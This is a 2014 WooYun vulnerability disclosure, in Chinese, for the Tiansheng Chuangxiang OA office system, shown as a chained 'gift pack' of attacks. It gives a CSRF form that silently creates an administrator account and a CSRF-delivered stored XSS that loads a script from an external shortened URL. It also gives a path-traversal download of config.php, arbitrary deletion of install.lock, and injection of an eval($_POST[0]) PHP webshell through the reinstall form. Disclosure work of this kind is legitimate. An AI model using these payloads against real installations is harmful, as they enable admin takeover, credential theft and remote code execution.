当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063844

漏洞标题:天生创想OA办公系统漏洞大礼包(xss,csrf,下载,删除,写shell)

相关厂商:天生创想

漏洞作者: JJ Fly

提交时间:2014-06-07 11:58

修复时间:2014-09-05 12:00

公开时间:2014-09-05 12:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-12: 厂商已经确认,细节仅向厂商公开
2014-06-15: 细节向第三方安全合作伙伴开放
2014-08-06: 细节向核心白帽子及相关领域专家公开
2014-08-16: 细节向普通白帽子公开
2014-08-26: 细节向实习白帽子公开
2014-09-05: 细节向公众公开

简要描述:

某OA办公系统漏洞大礼包(xss,csrf,下载,删除,写shell)

详细说明:

注:部分重复
首先我们在网站http://www.phpoa.cn/下载一份 本地安装。
程序安装地址

http://192.168.1.114/install/install.php


1.先来一发csrf。

1.png


2.png


抓包如下 未发现任何防护措施 。

3.png


附上利用代码 (添加的还是管理员哦。)

<form method='post' action='http://192.168.1.114/admin.php?ac=user&fileurl=mana&do=add'>
<input type='text' name='view' value='edit'>
<input type='text' name='username' value='testaaa2'>
<input type='text' name='password' value='testaaa2'>
<input type='text' name='groupid' value='1'>
<input type='text' name='departmentid' value='0'>
<input type='text' name='name' value='testaaa2'>
<input type='text' name='ischeck' value='1'>
<input type='text' name='keytype' value='2'>
</form>
<script>
document.forms[0].submit();
</script>


2.来一发xss+csrf
发送短消息这。 需要好好过滤一下!

4.png


5.png


下面我们来抓一下发送消息的数据包。

18.png


同样没有防护措施。
我们继续构造一下 csrf

<form method='post' action='http://192.168.1.114/admin.php?ac=sms_online&do=save&fileurl=sms'>
<input type='text' name='savetype' value='add'>
<input type='text' name='receiveperson' value='管理员'>
<input type='text' name='content' value='<ScRipt/src=http://t.cn/********I></scRiPt>'>
</form>
<script>
document.forms[0].submit();
</script>


来张效果图

7.png


8.png


好了,这样的话 ,只要随便有一个人中招就可以拿下他的管理员后台了。
3.再来一发任意文件下载

http://192.168.1.114/down.php?urls=data/../config.php


漏洞 详情 请看源代码

<?php
//下载文件
define('IN_ADMIN',True);
require_once('include/common.php');
get_login($_USER->id);
$filename=$_GET['urls'];
$phps=explode('/',$filename);
if($phps[0]!='data' && $phps[0]!='ntko'){
echo '下载失败!';
exit;
}
$phps1=explode('.',$filename);
if($phps1[1]=='php'){
echo '下载失败,请不要非法下载!';
exit;
}
header("Content-Type: application/force-download");
header("Content-Disposition: attachment; filename=".basename($filename));
readfile($filename);
?>


程序用 /进行分割 却只检测 $phps[0] 是不是为data 和ntko
然后不用 .进行分割 只检测$php1[1]
直接用 data/../config.php 就可以下载配置文件了。。
不过就想这样 拿到shell 还是不行的
4.任意文件删除
先随便备份一张表 然后再进行删除
系统设置-》

9.png


来抓包

10.png


我们来 构造下 把install.lock删除掉 。
C:\wamp\www\data\db\test.sql
C:\wamp\www\cache\install.lock
好的 ..\..\cache\install.lock

11.png


Post一下修改好的数据
然后你就会发现 install.lock被删除掉了
好了 install.lock删除掉了 我们来准备我们的shell吧。
5.修改config.php
删除掉install.lock之后 打开网址

http://192.168.1.114/install/install.php


下一步两次 然后到了第三步

12.png


还记得 上面下载的config文件吗。
我们把 数据库用户名 和密码 都输入正确的
然后 在数据库名称中输入
aa');eval($_POST[0]);//
然后下一步。

13.png


config.php 中的'前加上了一个\ 不过不要紧 我们返回上一部
我们只需要在数据库名称中输入aa
然后下一步 即可

14.png


我们去看下config.php

15.png


16.png


好吧这是为什么呢。
下面附上关键代码

$content = preg_replace("/define\('DB_HOST','(.*?)'\);/is", "define('DB_HOST','$dbhost');", $content);
$content = preg_replace("/define\('DB_USER','(.*?)'\);/is", "define('DB_USER','$dbuser');", $content);
$content = preg_replace("/define\('DB_PWD','(.*?)'\);/is", "define('DB_PWD','$dbpwd');", $content);
$content = preg_replace("/define\('DB_NAME','(.*?)'\);/is", "define('DB_NAME','$dbname');", $content);
$content = preg_replace("/define\('DB_TABLEPRE','(.*?)'\);/is", "define('DB_TABLEPRE','$dbprefix');", $content);
file_put_contents($confile, $content);


好吧 大礼包 到此结束!

漏洞证明:

15.png


16.png

修复方案:

你们更专业!!

版权声明:转载请注明来源 JJ Fly@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-06-12 08:58

厂商回复:

根据此前天生创想对http:///bugs/wooyun-2014-的拒绝处置情况,CNVD拟再次联系该公司尝试通报。

最新状态:

暂无